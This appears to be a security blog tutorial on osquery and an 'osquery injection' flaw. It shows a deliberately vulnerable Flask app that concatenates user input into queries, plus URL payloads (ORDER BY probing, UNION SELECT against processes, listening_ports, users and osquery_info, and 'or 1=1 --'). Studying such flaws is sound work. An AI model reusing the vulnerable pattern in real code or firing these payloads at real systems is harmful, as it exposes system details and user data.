What is an osquery Injection and How Does it Work?
This blog post examines osquery, a framework that enables developers to write SQL-based queries that explore system data. It includes instructions for how to install osquery on the Ubuntu operating system. It also explores what osquery allows you to do and concludes with an examination of the osquery library and injection.
Your Information will be kept private.
Your Information will be kept private.
What is osquery?
osquery is a tool that exposes an operating system as a high-performance relational database. It enables developers to write SQL-based queries that explore operating system data. With osquery, SQL tables can be created to help represent otherwise fairly abstract concepts, such as:
- Running processes
- Loaded kernel modules
- Open network connections
- Browser plugins
- Hardware events
- File hashes
For example, if you wanted to find out to which IP the hostname localhost resolves, you could simply use an SQL query like this:
SELECT address FROM etc_hosts WHERE hostnames = 'localhost';
You can access the list of predefined tables here: https://osquery.io/schema/2.11.2.
How Does osquery Work?
Here are some examples of what you can do with osquery and why it’s such a useful utility. Some of the data below could not be retrieved without the tedious parsing of system files or, even worse, without employing dangerous system commands:
- List users
- Get the process name, port and PID for all processes
- List logged-in users
Let’s examine each type of data in turn.
List Users
You can list most of the information in /etc/passwd using this simple query:
SELECT * FROM users;
Get The Process Name, Port, and PID for All Processes
This would usually involve a system command, but now you can simply use the query below:
SELECT DISTINCT processes.name, listening_ports.port, processes.pid FROM listening_ports JOIN processes USING (pid);
osquery Injection
osquery Injection is a vulnerability caused by a misuse of the library, just like SQL Injection or Memcache Injection. The official Python library was published by Facebook. Unfortunately, it does not use a mechanism like Prepared Statement. Therefore, when user input is placed in any part of the query, malicious queries can be executed and vulnerabilities can be exploited by the attacker.
This is how it might be implemented:
from flask import Flask, request
app = Flask(__name__)
import osquery
@app.route("/")
def prod():
name = request.values.get('username')
instance = osquery.SpawnInstance()
instance.open()
result = instance.client.query("select username, description from users where username='"+name+"'")
status = result.status
results = result.response
output = str(status)+"<br>"
output += "<table border='1'>"
output += "<tr><td>username</td><td>description</td></tr>"
for user in results:
output += "<tr><td>"+user['username']+"</td><td>"+user['description']+"</td></tr>"
output += "</table>"
return str(output)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=35275, debug=False)
This code simply provides some information about the user, by including the username from the GET method in the query.
An easy way to test our vulnerable application is to deploy the docker container using these commands:
$ git clone https://github.com/Om3rCitak/osquery-injection.git
$ cd osquery-injection/
$ docker-compose up
The code should work just fine after this process. Now you can access the application you deployed from the following address:
http://{docker_ip_adress}:35275/?username=systemd-network
Be careful with the code, as it contains a rather severe vulnerability. In case you didn’t spot it right away, the input we received from the user was included in the query, as illustrated:
select username, description from users where username='"+name+"'
So, if we send a request like the following, our query will change and as a result we will get the details of the systemd-network user:
URL: http://{docker_ip_adress}:35275/?username=systemd-network
Query: select username, description from users where username=’systemd-network’
If we want to exploit this injection vulnerability, we have to retrieve data from other tables. This is similar to a default SQL Injection vulnerability. All we need is:
- The column count for the query
- The table names
We need a number of columns for a UNION-based attack. In osquery, we can access data from several tables by using the UNION clause. The only condition is that the number of columns in each of the two queries we combine must be equal.
Retrieving the Column Count
As in standard SQL queries, the ORDER BY clause is also available in osquery. Usually, it’s used to sort the results according to a specified column name, such as ORDER BY name.
However, since you can specify a number instead of a column name, this clause is especially interesting for SQL injections. The number corresponds to the position of a column in the select list. And, just as in an SQL Injection, we can use this behaviour to determine the number of columns using the ORDER BY clause in our osquery injection.
If you abused this behaviour in an SQL injection, you would usually type in a large number right after the ORDER BY clause. An example might be ORDER BY 50. If this number was too big, you would get feedback, such as an error, an empty page, or missing content. You would then divide the initial value by two and try again. In our example: ORDER BY 25. Repeating this process multiple times, though tedious, would help you discover the correct number of columns.
In osquery, the situation is much better from an attacker’s point of view. The second we send a number that’s bigger than the actual column count, it immediately provides us with the number of columns. You can see this in the example below:
http://{docker_ip_adress}:35275/?username=systemd-network’ ORDER BY 999 --
We sent the value 999 in the ORDER BY clause (see image). It returns the following message:
'Error running query: 1st ORDER BY term out of range - should be between 1 and 2'
Since the ORDER BY value we need to send can only be between 1 and 2, we can assume that our column count is 2.
The double dash (–) included at the end of some of these queries is simply a way to start a comment. This effectively removes any part of the query that follows the double dash.
http://{docker_ip_adress}:35275/?username=systemd-network’ union select 1,2 from processes --
In the screenshot, we can see that the two additional columns are printed as output.
Finding the Correct Table Names
Finding table names is a much easier task than finding the column count. This is because the predefined tables are publicly available at the following address:
https://osquery.io/schema/2.11.2
Unfortunately, there is no way to find custom tables that have been added afterwards. In an MySQL injection, you can access the table names via information_schema. However, there is no such structure for table names in osquery.
Accessing Other Tables
To detect the operating system and its version that osquery is working in, we send a query like this:
http://{docker_ip_adress}:35275/?username=systemd-network’ union select build_platform,version from osquery_info --
To learn which processes are running on the system, we send a query like this:
http://{docker_ip_adress}:35275/?username=systemd-network’ union select cmdline,path from processes --
To find the PIDs of listening ports and ports listening services, we send a query like this:
http://{docker_ip_adress}:35275/?username=systemd-network’ union select pid,port from listening_ports --
To find out all users in the system, we could send the following query:
http://{docker_ip_adress}:35275/?username=systemd-network’ union select username,description from users --
However, since our query is still in the users table, we can use a short and elegant solution like this:
http://{docker_ip_adress}:35275/?username=systemd-network’ or 1=1 --